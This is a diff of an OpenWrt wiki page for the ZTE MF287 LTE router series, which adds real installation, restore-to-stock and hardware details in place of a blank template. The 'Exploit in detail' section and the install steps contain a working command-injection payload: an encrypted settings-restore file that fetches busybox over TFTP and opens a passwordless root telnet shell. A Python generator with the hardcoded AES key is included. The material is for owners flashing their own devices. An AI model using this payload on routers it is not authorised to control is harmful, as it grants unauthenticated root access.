Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision
Previous revision
Next revisionBoth sides next revision
toh:zte:mf287 [2023/09/09 21:16] – Created from the form at meta:create_new_device_page andyboehtoh:zte:mf287 [2024/08/07 08:26] – Clarify installation procedure andyboeh
Line 1: Line 1:
 ====== ZTE MF287 ====== ====== ZTE MF287 ======
  
-/* This template is intended to be used via https://openwrt.org/meta/create_new_device_page ONLY */ +The ZTE MF287 series is a range of LTE routers by ZTE made for the network operator "3"The devices share a lot of features and functionalities with other ZTE devices, like the MF286, MF289 or MF282 series.
-/* DO NOT CREATE NEW DEVICEPAGES VIA COPY & PASTE! */ +
-/* USE https://openwrt.org/meta/create_new_device_page */+
  
-{{page>meta:infobox:construction&noheader&nofooter&noeditbtn}}+There are three known variants:
  
-//Write a short, relevant description of the device. Include a technical overview, but avoid marketing buzzwords/useless stuff. Two to four sentences is about right. A picture is good, too. Edit the page to see how to add pictures.//+  * ZTE MF287 
 +  * ZTE MF287+ 
 +  * ZTE MF287Pro
  
-<WRAP BOX> +The MF287 and MF287+ have a very similar board but feature a different LTE module while the ZTE MF287Pro has completely different mainboard and again a different modem.
-FIXME Any text with a light background (like this one) provides instructions for creating the Details Page. When you have filled in correct/useful information (instead of any template that's there) **remove the instructions, as well as the ''<nowiki><WRAP></nowiki>'' that encloses it.** +
-</WRAP> +
- +
-/*****/ +
-/* How to add images ========> http://openwrt.org/meta/adding_images_to_openwrt_wiki */ +
-/*****/ +
- +
-{{media:example:genericrouter1.png?200|Generic Router}} +
- +
-<WRAP BOX> +
-FIXME +
-===== Getting started with new Device Page ===== +
-  - This is an empty template that suggests the information that should be present on well-constructed Device Page. This means, that **you have to fill it with life and information.** +
-  - There are several "fixme" tags with text on a light background (like this text) throughout this template. As you fill in the page, remove those tags so that people can judge its completeness. +
-  - When there are no more "fixme" tags left, delete this one too, along with the ''<nowiki><WRAP></nowiki>'' that encloses it. +
- +
-===== Keep the articles modular ===== +
-  * Please include only model specific information, omit bla,bla and put everything generic into separate articles +
-  * If you have no time to write certain stuff, link to [[docs:start]] +
-  * [[docs:guide-user:base-system:start]] should lead the way, do not explain this again +
-  * DO NOT provide complete howto here! Instead //groom// the [[docs:start|general documentation]]. +
-</WRAP>+
  
 ===== Supported Versions ===== ===== Supported Versions =====
  
-<WRAP BOX> +<!-- ToH: { 
-FIXME +  "source": "json", 
-  The tables below are automatically generated, **once the correct filters for Brand and Model are set.** +  "dom""t"
-  If the tables below show information for ''<nowiki>ZTE MF287 </nowiki>'', everything is OK and you can delete this text and the ''<nowiki><WRAP></nowiki>'' that encloses it. +  "paging": false, 
-  - If the tables below contain "Nothing found", it means that either +  "rotate"true
-    - the dataentry page for ZTE MF287  is missing. Please [[meta:create_new_dataentry_page|create a new dataentry page]] firstthen reload this page. The tables should then contain $something. If they do, delete this text and the ''<nowiki><WRAP></nowiki>'' that encloses it. +  "shownColumns": ["brand""model""version""supportedcurrentrel""oemdevicehomepageurl""forumsearch""deviceid"]
-    - filters are not set correctly. Most common reason for "Nothing found": The dataentry does not contain a Versionbut we are filtering here for version -> Please **edit this section and adjust the filters with the proper Brand, Model and Version.** In case the dataentry does not contain a version, delete the line ''filter  : Versions~''. Just tryit's easy. The tables should then contain $something. If they do, delete this text and the ''<nowiki><WRAP></nowiki>'' that encloses it. +  "filterColumns"{"brand": "^ZTE$""model""^MF287$"} 
-  - If the tables still contain "Nothing found": Don't panic, calm down, take a deep breath and [[:contact|contact a wiki admin]] (tmomas) for help. +-->
-</WRAP> +
- +
----- datatable ---- +
-cols    : BrandModelVersionsSupported Current RelOEM device homepage URL_urlForum Search_search-forumsDevice Techdata_pageid +
-headers : BrandModel, Version, Current Release, OEM Info, Forum Search, Technical Data +
-align   : c,c,c,c,c,c,+
-filter  : Brand=ZTE +
-filter  : Model=MF287 +
-filter  : Versions~ +
----- +
- +
-/* If no unsupported functions knowncomment out the following datatable or delete it. */ +
----- datatable ---- +
-cols    Unsupported Functions_unsupporteds +
-filter  : Brand=ZTE +
-filter  : Model=MF287 +
-filter  : Versions~ +
----- +
- +
-===== Experimental Versions ===== +
- +
-/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *  +
-   The official Table of Hardware only lists current, stable versions of OpenWrt. +
-   Use this space to describe any on-going efforts to create a newer version       * +
-   of the firmware for this device. Provide links to firmware images,              * +
-   active threads on the forum, or other sources of information.                   * +
- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */ +
- +
-//None at this time.//+
  
 ===== Hardware Highlights ===== ===== Hardware Highlights =====
----- datatable ---- +<!-- ToH: { 
-cols    ModelVersionsCPUCPU MHzCPU Cores_numcores, Flash MB_mbflashs, RAM MB_mbram, WLAN Hardware, WLAN 2.4GHz, WLAN 5.0GHz, Ethernet 100M ports_, Ethernet Gbit ports_, Modem, USB ports_ +  "source""json", 
-header  : ModelVersion,SoC,CPU MHz,CPU Cores,Flash MB,RAM MB,WLAN Hardware,WLAN2.4,WLAN5.0,100M ports,Gbit ports,Modem,USB +  "dom": "t", 
-align   : c,c,c,c,c,c,c,c,c,c,c,c,c +  "paging": false, 
-filter  : Brand=ZTE +  "rotate": true
-filter  Model=MF287 +  "shownColumns"["model""version""cpu""cpumhz""cpucores""flashmb""rammb""wlanhardware""wlan24ghz""wlan50ghz""ethernet100mports""ethernet1gports""modem""usbports"]
-filter  : Versions~ +  "filterColumns": {"brand""^ZTE$", "model""^MF287$"} 
-----+-->
  
  
 ===== Installation ===== ===== Installation =====
 +
 /* stable release */ /* stable release */
-/* uncomment once stable release is available + 
----- datatable ---- +<!-- ToH: { 
-cols    ModelVersionsSupported Current RelFirmware OpenWrt Install URL_urlFirmware OpenWrt Upgrade URL_url, Firmware OEM Stock URL_url +  "source""json", 
-headers ModelVersionCurrent ReleaseFirmware OpenWrt InstallFirmware OpenWrt UpgradeFirmware OEM Stock +  "dom": "t", 
-align   : c,c,c +  "paging": false, 
-filter  : Brand=ZTE +  "rotate": true
-filter  Model=MF287 +  "shownColumns"["model""version""supportedcurrentrel""firmwareopenwrtinstallurl""firmwareopenwrtupgradeurl""firmwareoemstockurl"]
-filter  : Versions~ +  "filterColumns"{"brand": "^ZTE$", "model""^MF287$"} 
----- +-->
-*/+
  
  
 /* snapshot */ /* snapshot */
 /* delete once stable release is available */ /* delete once stable release is available */
----- datatable ---- +<!-- ToH: { 
-cols    ModelVersionsSupported Current RelFirmware OpenWrt snapshot Install URL_url, Firmware OpenWrt snapshot Upgrade URL_url, Firmware OEM Stock URL_url +  "source""json", 
-headers ModelVersionCurrent ReleaseFirmware OpenWrt snapshot InstallFirmware OpenWrt snapshot UpgradeFirmware OEM Stock +  "dom": "t", 
-align   : c,c,c +  "paging": false
-filter  : Brand=ZTE +  "shownColumns"["model""version""supportedcurrentrel""firmwareopenwrtsnapshotinstallurl""firmwareopenwrtsnapshotupgradeurl""firmwareoemstockurl"]
-filter  Model=MF287 +  "filterColumns"{"brand": "^ZTE$", "model""^MF287$"} 
-filter  : Versions~ +-->
-----+
  
 +==== Option 1: Install from OEM firmware ====
 +<WRAP round important 80%>
 +**Required files**
  
--[[docs:guide-user:installation:generic.flashing|Install OpenWrt (generic explanation)]]+  * Static build of busybox for ARM, e.g. from https://busybox.net/downloads/binaries/1.21.1/ (Pick ARMV7 version) 
 +  * exploit.dat from https://cloud.aboehler.at/index.php/s/GDixspLf4jgg8pT. Please use the password ''%%nzjmaBARoM%%'' 
 +  * OpenWrt factory image this is **not** listed in the table above. Please download it from [[https://firmware-selector.openwrt.org/?version=23.05.4&target=ipq40xx%2Fgeneric&id=zte_mf287pro]] 
 +</WRAP>
  
-FIXME Please add the installation procedure here.+Then do the following preparatory steps:
  
-==== Flash Layout ==== +  * Set up a TFTP server - tftpd-hpa on Linux is tested, but tftpd32 should work as well 
-<WRAP BOX> +  * Rename busybox to "telnetd" and put it to your TFTP root directory 
-FIXME //[[:docs:techref:flash.layout#discovery_how_to_find_out|Find out flash layout]], then add the flash layout table here (copy, paste, modify the [[docs:techref:flash.layout#partitioning_of_the_flash|example]]).//+  * Put the OpenWrt **factory.bin** file to your TFTP directory as zte.bin 
 +  * Assign your computer the IP address 192.168.0.22
  
-Please check out the article [[docs:techref:flash.layout|Flash layout]]. It contains examples and explanations that describe how to document the flash layout. +Now you can actually exploit the web interface and get access via Telnet.
-</WRAP>+
  
-==== OEM easy installation ====+  - Log in to the web interface of your router, go to settings restore and use the file "exploit.dat" as the file to restore. Accept the message that the router is going to be restarted - don't worry, it won't restart. 
 +  - Watch your TFTP server serving the file "telnetd" 
 +  - Use a Telnet client and connect to 192.168.0.1 on port 10023 
 +  - You should be logged in immediately, no password required 
 +  - Execute the following commands to take a backup and to install OpenWrt (NB: Instead of using tftp, you should also be able to use ''%%scp%%'' from the router):
  
-<WRAP BOX+<WRAP round important 80%
-FIXME //The instructions below are for Broadcom devices and only serve as an example.//\\ +For the MF287 and MF287+, you need to replace ''%%mtdXX%%'' with ''%%mtd13%%'' and ''%%mtdblockXX%%'' with ''%%mtdblock13%%''
-**//Remove / modify them if they do not apply to this particular device!//** +For the MF287Pro, you need to replace ''%%mtdXX%%'' with ''%%mtd17%%'' and ''%%mtdblockXX%%'' with ''%%mtdblock17%%''! 
- +</WRAP>
-This section deals with +
-  * How you install OpenWrt from a device freshly opened +
-  * The steps required such as reset to factory defaults if the device has already been configured+
  
-**Note:** Reset router to factory defaults if it has been previously configured. +<WRAP round important 80%> 
-  * Browse to ''<nowiki>http://192.168.1.1/Upgrade.asp</nowiki>'' +Please double-check the partition number by running ''%%cat /proc/mtd%%'' and looking for the line named ''%%rootfs%%''. Use this mtd number.
-  * Upload .bin file to router +
-  * Wait for it to reboot +
-  * Telnet to 192.168.1.1 and set a root password, or browse to ''<nowiki>http://192.168.1.1</nowiki>'' if LuCI is installed.+
 </WRAP> </WRAP>
  
-==== OEM installation using the TFTP method ==== +<WRAP round important 80%> 
- +Please double-check that you flash the correct file. The factory image is **not** part of the table above, but it can be downloaded from the [[https://firmware-selector.openwrt.org/?version=23.05.4&target=ipq40xx%2Fgeneric&id=zte_mf287pro|Firmware Selector]].
-->  [[docs:guide-user:installation:generic.flashing.tftp]] +
- +
-=== Specific values needed for tftp === +
- +
-<WRAP BOX> +
- +
-FIXME Enter values for "FILL-IN" below +
- +
-^ Bootloader tftp server IPv4 address  FILL-IN   | +
-^ Bootloader MAC address (special)     | FILL-IN   | +
-Firmware tftp image                  | [[:downloads|Latest OpenWrt release]] (**''NOTE:''** Name must contain //"tftp"//) | +
-^ TFTP transfer window                 | FILL-IN seconds                                | +
-^ TFTP window start                    | approximately FILL-IN seconds after power on   | +
-^ TFTP client required IP address      | FILL-IN                                        | +
 </WRAP> </WRAP>
  
-===== Upgrading OpenWrt ===== +<code> 
-- [[docs:guide-user:installation:generic.sysupgrade]]+cd /tmp 
 +cat /dev/ubi0_0 > /tmp/ubi0_0 
 +cat /dev/ubi0_1 > /tmp/ubi0_1 
 +tftp -p -l /tmp/ubi0_0 -r ubi0_0 192.168.0.22 
 +tftp -p -l /tmp/ubi0_1 -r ubi0_1 192.168.0.22 
 +rm /tmp/ubi0* 
 +tftp -g -r zte.bin 192.168.0.22 
 +cat /proc/driver/sensor_id 
 +flash_erase /dev/mtdXX 0 0 
 +dd if=zte.bin of=/dev/mtdblockXX bs=131072 
 +reboot 
 +</code>
  
-<WRAP BOX>+After the Reboot, OpenWrt is installed!
  
-FIXME These are generic instructions. Update with your router's specifics.+==== Option 2: Install via serial console ====
  
-==== LuCI Web Upgrade Process ====+This method requires disassembly and serial access. The following pictures and instructions detail this process:
  
-  * Browse to ''<nowiki>http://192.168.1.1/cgi-bin/luci/mini/system/upgrade/</nowiki>'' LuCI Upgrade URL +  * Remove the battery cover and unscrew four screws at the bottom 
-  * Upload image file for sysupgrade to LuCI +  * Remove the four white rubber covers on the back and remove the screws 
-  * Wait for reboot+  * Pry open the back cover (where all the LAN ports are) 
 +  * Remove four screws; two can be seen on the top, two are at the bottomOnce they are removed, you can slide-out the main board 
 +  * Remove two more screws holding the antenna at the back in place 
 +  * Beneath the antenna, the UART pins can be found 
 +  * Connect serial console with 115200 8N1 and start a terminal program
  
-==== Terminal Upgrade Process ====+===== Restore stock =====
  
-If you don't have a GUI (LuCI) available, you can alternatively upgrade via the command line. +You need the two files ubi0_0 and ubi0_1 you downloaded during the installation of OpenWrt. If you are already running OpenWrt, you need to flash an initramfs version first - for this, simply install the -recovery.bin version using sysupgrade as usual.
-There are two command line methods for upgrading:+
  
-  * ''sysupgrade'' +Once rebooted, transfer the files ubi0_0 and ubi0_1 to your router to /tmp. Then, run the following commands to restore back to stock - the "ls" command is used to get the sizes of kernel and rootfs. Replace ''%%$kernel_length%%'' by the value you got for ubi0_0 and ''%%$rootfs_size%%'' by the value you got for ubi0_1.
-  * ''mtd''+
  
-Note: It is important that you put the firmware image into the ramdisk (/tmp) before you start flashing. +<WRAP round important 80%> 
- +Please double-check the partition number by running ''%%cat /proc/mtd%%'' and looking for the line named ''%%rootfs%%''Use this mtd numberFor the MF287Pro, this should be ''%%ubiattach -m 14%%'' with ''%%ubiattach -m 17%%''. 
-=== sysupgrade === +</WRAP>
- +
-  * Login as root via SSH on 192.168.1.1, then enter the following commands:+
  
 <code> <code>
-cd /tmp +ls -l /tmp/ubi0* 
-wget http://downloads.openwrt.org/snapshots/trunk/XXX/xxx.abc +ubiattach -m 14 
-sysupgrade /tmp/xxx.abc+ubirmvol /dev/ubi0 -N kernel 
 +ubirmvol /dev/ubi0 -N rootfs 
 +ubirmvol /dev/ubi0 -N rootfs_data 
 +ubimkvol /dev/ubi0 -N kernel -s $kernel_length 
 +ubimkvol /dev/ubi0 -N ubi_rootfs -s $rootfs_size 
 +ubiupdatevol /dev/ubi0_0 /tmp/ubi0_0 
 +ubiupdatevol /dev/ubi0_1 /tmp/ubi0_1 
 +reboot
 </code> </code>
  
-=== mtd ===+The system should reboot into the stock firmware.
  
-If ''sysupgrade'' does not support this router, use ''mtd''.+===== Exploit in detail =====
  
-  * Login as root via SSH on 192.168.1.1then enter the following commands:+The settings file of the MF287+ is obfuscated and encryptedFortunately, the algorithm isn't very complicated and could be easily decompiled using Ghidra. The following Python script creates the "exploit.dat" file as linked to above:
  
-<code> +<code python [enable_line_numbers="true"]
-cd /tmp +#!/usr/bin/env python
-wget http://downloads.openwrt.org/snapshots/trunk/XXX/xxx.abc +
-mtd write /tmp/xxx.abc linux && reboot +
-</code>+
  
-</WRAP>+import os 
 +import sys 
 +import subprocess 
 +import tempfile 
 +import struct 
 +import shutil 
 +import hashlib
  
-===== Debricking ===== +class TelnetEnabler(object): 
--> [[docs:guide-user:troubleshooting:generic.debrick]]+    def __init__(self, filepath, directory): 
 +        self.openssl None 
 +        self.filepath filepath 
 +        self.directory directory 
 +        self.check_openssl()
  
-===== Failsafe mode ====+    def decrypt_file(self): 
--> [[docs:guide-user:troubleshooting:failsafe_and_factory_reset]]+        if os.path.exists(self.filepath): 
 +            print(f"Output file already exists: {self.filepath}"
 +            return False 
 +         
 +        exploit ";zte_debug.sh 192.168.0.22 telnetd; /tmp/telnetd -l /bin/sh -p 10023; sleep 3600\n" 
 +        out bytearray() 
 +        for char in exploit: 
 +            if char !'\n' or char !'\t' or char !'\0': 
 +                out.append(ord(char) ^ 0x1f) 
 +            else: 
 +                out.append(ord(char)) 
 +        fp open(self.directory + os.path.sep + "decrypted.txt", "wb") 
 +        fp.write(out) 
 +        fp.close() 
 +         
 +        ret = subprocess.run([self.openssl, "enc", "-aes-128-cbc", "-out", self.filepath, "-in", self.directory + os.path.sep + "decrypted.txt", "-pass", "pass:DA69C84B145A11040DBF6363C136DC71", "-md", "md5"]) 
 +        if ret.returncode != 0: 
 +            print("Error encrypting file"
 +            return False 
 +         
 +         
 +             
 +    def which(self, program): 
 +        def is_exe(fpath): 
 +            return os.path.isfile(fpath) and os.access(fpath, os.X_OK)
  
-===== Basic configuration ===== +        fpath, fname os.path.split(program) 
--> [[docs:guide-user:base-system:start|Basic configuration]] After flashing, proceed with this.\\ +        if fpath: 
-Set up your Internet connection, configure wireless, configure USB port, etc.+            if is_exe(program): 
 +                return program 
 +        else: 
 +            for path in os.environ["PATH"].split(os.pathsep): 
 +                path = path.strip('"'
 +                exe_file = os.path.join(path, program) 
 +                if is_exe(exe_file): 
 +                    return exe_file
  
-===== Specific Configuration =====+        return None
  
-<WRAP BOX> +    def check_openssl(self): 
-FIXME Please fill in real values for this devicethen remove the EXAMPLEs+        self.openssl = self.which("openssl"
 +        if self.openssl: 
 +            ret = subprocess.run([self.openssl"version"], stdout = subprocess.PIPE, 
 +                                 universal_newlines = True) 
 +            if ret.returncode == 0: 
 +                version = ret.stdout.replace('\n', ''
 +                return version
  
-==== Network interfaces ==== +        return False
-The default network configuration is: +
-^ Interface Name   ^ Description                  ^ Default configuration    ^ +
-| br-lan           | EXAMPLE LAN & WiFi           | EXAMPLE 192.168.1.1/24   | +
-| vlan0 (eth0.0)   | EXAMPLE LAN ports (1 to 4)   | EXAMPLE None             | +
-| vlan1 (eth0.1)   | EXAMPLE WAN port             | EXAMPLE DHCP             | +
-| wl0              | EXAMPLE WiFi                 | EXAMPLE Disabled         |+
  
-</WRAP>+if len(sys.argv) 2: 
 +    print("Usage: exploit.py configure.bin"
 +    sys.exit(1)
  
-==== Switch Ports (for VLANs) ==== +with tempfile.TemporaryDirectory() as tempdir: 
-<WRAP BOX> +    enabler TelnetEnabler(sys.argv[1]tempdir
-FIXME Please fill in real values for this device, then remove the EXAMPLEs +    enabler.decrypt_file() 
- +</code>
-Numbers 0-3 are Ports 1-4 as labeled on the unit, number 4 is the Internet (WAN) on the unit, 5 is the internal connection to the router itselfDon't be fooled: Port on the unit is number 3 when configuring VLANs. vlan0 = eth0.0vlan1 = eth0.1 and so on. +
-^ Port             ^ Switch port   ^ +
-| Internet (WAN  | EXAMPLE 4     | +
-| LAN 1            | EXAMPLE 3     | +
-| LAN 2            | EXAMPLE 2     | +
-| LAN 3            | EXAMPLE 1     | +
-| LAN 4            | EXAMPLE 0     | +
- +
-</WRAP> +
- +
-==== Buttons ==== +
--> [[docs:guide-user:hardware:hardware.button]] on howto use and configure the hardware button(s)+
-Here, we merely name the buttons, so we can use them in the above Howto. +
- +
-<WRAP BOX> +
-FIXME Please fill in real values for this device, then remove the EXAMPLEs +
- +
-The ZTE MF287 has the following buttons: +
- +
-^ BUTTON                       ^ Event   ^ +
-| EXAMPLE Reset                |  reset  | +
-| EXAMPLE Secure Easy Setup    |   ses   | +
-| EXAMPLE No buttons at all.      -    | +
- +
-</WRAP>+
  
 ===== Hardware ===== ===== Hardware =====
 ==== Info ==== ==== Info ====
-<WRAP BOX> + 
-FIXME +<!-- ToH: { 
-  - This table is automatically generated**once the correct filters for Brand and Model are set.** +  "source": "json", 
-  - If you see "Nothing.instead of a table, please **edit this section and adjust the filters with the proper Brand and Model.** Just tryit's easy. +  "dom": "t"
-  - If you still don't see a table hereor a table filled with '¿': [[toh:start|Is there already a Techdata page available]] for ZTE MF287 ? If not: [[meta:create_new_dataentry_page|Create one]]. +  "paging": false
-  - If you see a table with the desired device dataeverything is OK and you can delete this text and the ''<nowiki><WRAP></nowiki>'' that encloses it. +  "rotate": true, 
-  - If it still doesn't workDon't paniccalm down, take a deep breath and [[:contact|contact a wiki admin]] (tmomas) for help. +  "shownColumns": ["brand", "model", "version", "devicetype", "availability", "supportedsincecommit", "supportedsincerel", "supportedcurrentrel", "unsupported_functions", "bootloader", "cpu", "target", "cpumhz", "flashmb", "rammb", "switch", "ethernet100mports", "ethernet1gports", "commentsnetworkports", "modem", "vlan", "wlan24ghz", "wlan50ghz", "wlanhardware", "wlancomments", "detachableantennas", "usbports", "sataports", "commentsusbsataports", "serial", "jtag", "ledcount", "buttoncount", "powersupply", "deviceid", "owrt_forum_topic_url", "wikideviurl", "oemdevicehomepageurl", "firmwareoemstockurl", "firmwareopenwrtinstallurl", "firmwareopenwrtupgradeurl", "comments"], 
-</WRAP>+  "filterColumns"{"brand": "^ZTE$""model""^MF287$"} 
 +} -->
  
 ---- datatemplatelist dttpllist ---- ---- datatemplatelist dttpllist ----
Line 274: Line 245:
 cols    : Brand, Model, Versions, Device Type, Availability, Supported Since Commit_git, Supported since Rel, Supported current Rel, Unsupported, Bootloader, CPU, Target, CPU MHz, Flash MBs, RAM MB, Switch, Ethernet 100M ports_, Ethernet Gbit ports_, Comments network ports_, Modem, VLAN, WLAN 2.4GHz, WLAN 5.0GHz, WLAN Hardwares, WLAN Comments_, Detachable Antennas_, USB ports_, SATA ports_, Comments USB SATA ports_, Serial, JTAG, LED count, Button count, Power supply, Device Techdata_pageid, Forum topic URL_url, wikidevi URL_url, OEM Device Homepage URL_url, Firmware OEM Stock URL_url, Firmware OpenWrt Install URL_url, Firmware OpenWrt Upgrade URL_url, Comments_ cols    : Brand, Model, Versions, Device Type, Availability, Supported Since Commit_git, Supported since Rel, Supported current Rel, Unsupported, Bootloader, CPU, Target, CPU MHz, Flash MBs, RAM MB, Switch, Ethernet 100M ports_, Ethernet Gbit ports_, Comments network ports_, Modem, VLAN, WLAN 2.4GHz, WLAN 5.0GHz, WLAN Hardwares, WLAN Comments_, Detachable Antennas_, USB ports_, SATA ports_, Comments USB SATA ports_, Serial, JTAG, LED count, Button count, Power supply, Device Techdata_pageid, Forum topic URL_url, wikidevi URL_url, OEM Device Homepage URL_url, Firmware OEM Stock URL_url, Firmware OpenWrt Install URL_url, Firmware OpenWrt Upgrade URL_url, Comments_
 filter  : Brand=ZTE filter  : Brand=ZTE
-filter  : Model=MF287 +filter  : Model=MF287Pro
-filter  : Versions=+
 ---- ----
- 
-==== Photos ==== 
-/* =====>>>>> Standard size for photos: add ?400 to the medialink                                */ 
-/* When uploading photos, **name them** intelligently. Nobody knows what 20100930_000602.jpg is! */ 
-/* e.g. {{:media:yourbrand:yourbrand_yourmodel_front.jpg?400|}}                                  */ 
-/* Thanks, your wiki administration - Oct. 2015 */ 
- 
-//Front://\\ 
-**Insert photo of front of the casing** 
- 
-//Back://\\ 
-**Insert photo of back of the casing** 
- 
-//Backside label://\\ 
-**Insert photo of backside label** 
- 
-==== Opening the case ==== 
- 
-**Note:** This will void your warranty! 
- 
-<WRAP BOX> 
-FIXME //Describe what needs to be done to open the device, e.g. remove rubber feet, adhesive labels, screws, ...// 
-  * To remove the cover and open the device, do a/b/c 
-</WRAP> 
- 
-//Main PCB://\\ 
-**Insert photo of PCB** 
- 
-==== Serial ==== 
--> [[docs:techref:hardware:port.serial]] general information about the serial port, serial port cable, etc. 
- 
-How to connect to the Serial Port of this specific device:\\ 
-**Insert photo of PCB with markings for serial port** 
- 
-<WRAP BOX> 
-FIXME //Replace EXAMPLE by real values.// 
-</WRAP> 
- 
-^ Serial connection parameters\\ for ZTE MF287 @@Version@@ | EXAMPLE 115200, 8N1, 3.3V | 
- 
-==== JTAG ==== 
--> [[docs:techref:hardware:port.jtag]] general information about the JTAG port, JTAG cable, etc. 
- 
-How to connect to the JTAG Port of this specific device:\\ 
-**Insert photo of PCB with markings for JTAG port** 
- 
-===== Bootloader mods ===== 
--> [[docs:techref:bootloader]] 
- 
-===== Hardware mods ===== 
- 
-None so far. 
- 
- 
-===== Bootlogs ===== 
-==== OEM bootlog ==== 
-<WRAP bootlog> 
-<nowiki>COPY HERE THE BOOTLOG WITH THE ORIGINAL FIRMWARE</nowiki> 
-</WRAP>\\ 
- 
-==== OpenWrt bootlog ==== 
-<WRAP bootlog> 
-<nowiki>COPY HERE THE BOOTLOG ONCE OPENWRT IS INSTALLED AND RUNNING</nowiki> 
-</WRAP>\\ 
- 
-===== Notes ===== 
-//Space for additional notes, links to forum threads or other resources.// 
- 
-  * ... 
- 
-===== Tags ===== 
-<WRAP BOX> 
-FIXME //Add tags below, then remove this fixme.// 
-</WRAP> 
- 
-[[meta:tags|How to add tags]] 
-{{tag>EXAMPLETAG}} 
  • Last modified: 2024/12/09 10:32
  • by colo